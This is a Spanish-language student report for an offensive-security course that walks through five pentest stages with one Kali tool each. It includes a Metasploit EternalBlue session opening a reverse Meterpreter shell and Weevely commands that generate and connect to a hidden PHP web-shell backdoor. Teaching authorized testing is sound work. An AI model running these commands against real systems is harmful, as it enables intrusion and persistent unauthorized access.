UNIVERSIDAD DE PALERMO

Seguridad Ofensiva

Las cinco etapas del pentest con Kali Linux

Trabajo práctico, una herramienta por etapa

theHarvester · Nmap · Metasploit · Weevely · Dradis

Estudiante: Francisco Daurat

Profesor: Darío Rizzo

Agosto de 2026

1. Introducción

Un test de penetración (pentest) es, en pocas palabras, un ataque simulado con permiso. Se usa la misma metodología y las mismas herramientas que usaría un atacante real, pero dentro de un marco legal y ético que se acuerda antes de empezar, con el acuerdo de confidencialidad y el alcance que vimos en el módulo 2 de la materia. La idea no es romper nada sino encontrar las vulnerabilidades y demostrarlas antes de que las encuentre alguien de afuera.

En este trabajo recorro las cinco etapas del pentest según la bibliografía de la materia y elijo una herramienta de Kali Linux para cada una, theHarvester para el reconocimiento, Nmap para la enumeración, Metasploit para ganar acceso, Weevely para mantenerlo y Dradis para el informe. Para cada una cuento qué hace, cómo funciona por dentro y cómo se usa en la terminal. Las cinco vienen incluidas en Kali y solo tienen sentido sobre sistemas donde hay autorización expresa para trabajar.

2. Las cinco etapas de un pentest

El material de la materia divide el proceso en etapas con un objetivo puntual cada una. En el reconocimiento se junta toda la información posible del objetivo usando fuentes públicas, sin ejecutar ningún ataque. En la enumeración, o reconocimiento activo, ya se analiza el objetivo con escáneres, y ahí puede quedar registro en los logs o saltar una alerta de un IDS o IPS. Después viene ganar acceso o explotación, el ataque en sí mismo, abusando de software desactualizado o mal configurado mediante exploits. La cuarta es mantener acceso o post-explotación, donde se busca persistencia y también se prueba el borrado de rastros. Por último, el informe cuenta los hallazgos en el lenguaje de cada destinatario, en general en dos versiones, una ejecutiva y una técnica.

Etapa	Herramienta	Para qué la uso en esta etapa
1. Reconocimiento	theHarvester	Juntar información pública del objetivo (correos, subdominios, hosts) sin contactarlo.
2. Enumeración	Nmap	Escanear hosts, puertos, servicios, versiones y sistema operativo.
3. Ganar acceso / Explotación	Metasploit Framework	Ejecutar el exploit y obtener una sesión (Meterpreter) en el sistema objetivo.
4. Mantener acceso / Post-explotación	Weevely	Dejar un backdoor web discreto que garantice la persistencia.
5. Informe	Dradis Framework	Ordenar los hallazgos y generar los informes ejecutivo y técnico.

Tabla 1. Las cinco etapas y la herramienta de Kali elegida para cada una.



Figura 1. Orden del pentest y herramienta asignada a cada etapa.

3. Reconocimiento, theHarvester

Para esta etapa elegí theHarvester porque hace justo lo que pide el reconocimiento, juntar información del objetivo sin tocarlo. Es un script de Python que viene en Kali y consulta muchas fuentes públicas en paralelo, como Bing, DuckDuckGo, los certificados TLS de crtsh o Shodan. Con un dominio de entrada devuelve cuentas de correo, nombres de gente, subdominios, hosts resueltos y URLs relacionadas con ese dominio.

Por cada fuente arma sus consultas, saca los duplicados y junta todo en un listado que se puede exportar a HTML o XML. Como solo consulta bases de datos de libre acceso es un reconocimiento pasivo, no enviamos ni un paquete a la infraestructura de la empresa y el objetivo no se entera. Los correos que encuentra sirven después para ataques de contraseñas o ingeniería social, y los subdominios para saber qué escanear en la etapa siguiente.

El comando básico desde la terminal de Kali es el siguiente

```
theHarvester -d <dominio> -b <fuentes> -l <límite> -f <archivo>

theHarvester -d empresa.com.ar -b crtsh,bing,duckduckgo -l 500 -f
recon.html
```

El parámetro -d es el dominio a investigar, -b las fuentes separadas por coma, -l el límite de resultados por fuente y -f el archivo de salida con todo lo encontrado.

4. Enumeración, Nmap

Nmap (Network Mapper) es el escáner de redes más conocido que existe y la herramienta natural de esta etapa. Encuentra hosts activos en una red, puertos TCP y UDP abiertos, qué servicio corre en cada puerto, de qué versión es, e incluso el sistema operativo del objetivo.

Su lógica es simple. Manda paquetes armados a propósito y deduce cosas de las respuestas, si un puerto contesta SYN/ACK está abierto, si responde con RST está cerrado y si no responde probablemente hay un firewall en el medio. A diferencia del reconocimiento acá ya estamos tocando el objetivo, y el material de la materia lo advierte, este escaneo puede generar sospecha si la organización tiene IDS/IPS o revisa sus logs.

Un escaneo completo típico se vería así

```
nmap <opciones> <objetivo>

nmap -sV -sC -O -p- -oN escaneo.txt 192.168.1.10
```

Con -sV detecta la versión de cada servicio, -sC corre los scripts NSE por defecto, -O activa la detección de sistema operativo, -p- escanea los 65.535 puertos TCP y -oN guarda la salida en un archivo de texto. Lo que importa del resultado es la combinación de puerto, servicio y versión, porque es justo lo que nos llevamos a la etapa de explotación.

5. Ganar acceso, Metasploit Framework

Para la explotación elegí Metasploit Framework, la plataforma de explotación más usada del mundo. Trae miles de módulos, exploits que aprovechan una vulnerabilidad, payloads que se ejecutan en la víctima después como Meterpreter, y módulos auxiliares y de post-explotación. Todo se maneja desde su consola interactiva, msfconsole.

La lógica de uso es siempre la misma. Se busca el exploit que encaje con la vulnerabilidad que encontró Nmap, se configuran el objetivo, el payload y nuestra propia dirección, y se lanza. Si funciona, el payload abre una sesión de Meterpreter, una shell avanzada y cifrada desde la que controlamos el sistema remoto. El ejemplo clásico es EternalBlue (MS17-010), la vulnerabilidad del servicio SMB de Windows.

```
Sesión típica en msfconsole

msf6> search eternalblue
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.10
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> exploit
```

Primero search busca módulos por nombre o CVE y use selecciona el exploit. Con set RHOSTS se define la IP del objetivo, con set PAYLOAD el payload, donde reverse_tcp hace que la víctima se conecte hacia nosotros, y con set LHOST nuestra IP que recibe esa conexión. exploit lanza el ataque y, si todo sale bien, quedamos adentro con una sesión Meterpreter abierta.

6. Mantener acceso, Weevely

La cuarta etapa pide persistencia, que aunque la organización corrija la vulnerabilidad que nos dejó entrar sigamos teniendo acceso. Para eso elegí Weevely, que genera y administra web shells de PHP, archivos chicos, ofuscados y protegidos por contraseña que se suben al servidor comprometido y después nos dan una consola remota a través de pedidos HTTP.

El backdoor viaja escondido en un archivo PHP que parece inofensivo y el tráfico se disfraza de navegación web normal, por eso es difícil de detectar. Una vez conectados hay más de treinta módulos de post-explotación para explorar y bajar archivos, escanear puertos desde la máquina comprometida, sacar credenciales de bases de datos o escalar privilegios. Como aclara el material de la materia, instalar un backdoor y borrar los rastros después son cosas que tienen que estar en el alcance acordado con el cliente.

El uso tiene dos pasos, generar el backdoor y conectarse a él

```
Generación del backdoor y conexión

weevely generate ClaveSegura2026 backdoor.php
weevely http://192.168.1.10/uploads/backdoor.php ClaveSegura2026
```

Con generate, una contraseña y un nombre de archivo se crea el backdoor cifrado, que después se sube al servidor comprometido. Luego weevely seguido de la URL donde quedó publicado y la misma contraseña abre la sesión remota. Adentro, comandos como :system_info o :file_download corren los módulos de post-explotación sobre el objetivo.

7. Informe, Dradis Framework

Para el informe elegí Dradis, un framework de código abierto que funciona como aplicación web local y viene a ser el cuaderno de notas del pentest. Ahí se arma el proyecto, se registran los hosts y servicios, se documenta cada hallazgo con su evidencia, riesgo y recomendación, y al final se generan los informes desde plantillas en HTML o Word.

Lo mejor es que importa directo los resultados de las herramientas que ya usamos, los XML de Nmap, las sesiones de Metasploit y reportes de otros escáneres, y los agrupa por host y por severidad. Así se arman las dos versiones que pide la materia, el informe ejecutivo para la dirección y el técnico para el equipo de IT. En Kali se arranca con este comando y se sigue desde el navegador.

```
Arranque del servicio en Kali

dradis-ce
# levanta la aplicación en https://localhost:3000
# usuario y clave por defecto, dradis
```

Desde el navegador se crea el proyecto, se importan los XML, se completan los hallazgos y se exporta el informe con la plantilla elegida, con toda la evidencia ordenada y reproducible para el cliente.

8. Conclusión

Con estas cinco herramientas queda cubierto el proceso de punta a punta. theHarvester junta información sin tocar nada, Nmap arma el mapa de la superficie de ataque, Metasploit explota la vulnerabilidad y da el control del sistema, Weevely mantiene el acceso y Dradis cierra con los informes. Se ve también la lógica del proceso, lo que devuelve cada etapa es la entrada de la siguiente. Y la condición de fondo es la misma del primer módulo de la materia, sin acuerdo de confidencialidad y sin autorización no hay pentest posible.

Referencias

Universidad de Palermo. (2026). *Introducción a la Seguridad Ofensiva* [Módulo 1, material de curso].

Universidad de Palermo. (2026). *Conceptos básicos* [Módulo 2, material de curso].

Kali Linux. (s. f.). *theHarvester*. Kali Tools. https://www.kali.org/tools/theharvester/

Kali Linux. (s. f.). *nmap*. Kali Tools. https://www.kali.org/tools/nmap/

Kali Linux. (s. f.). *metasploit-framework*. Kali Tools. https://www.kali.org/tools/metasploit-framework/

Kali Linux. (s. f.). *weevely*. Kali Tools. https://www.kali.org/tools/weevely/

Kali Linux. (s. f.). *dradis-ce*. Kali Tools. https://www.kali.org/tools/dradis-ce/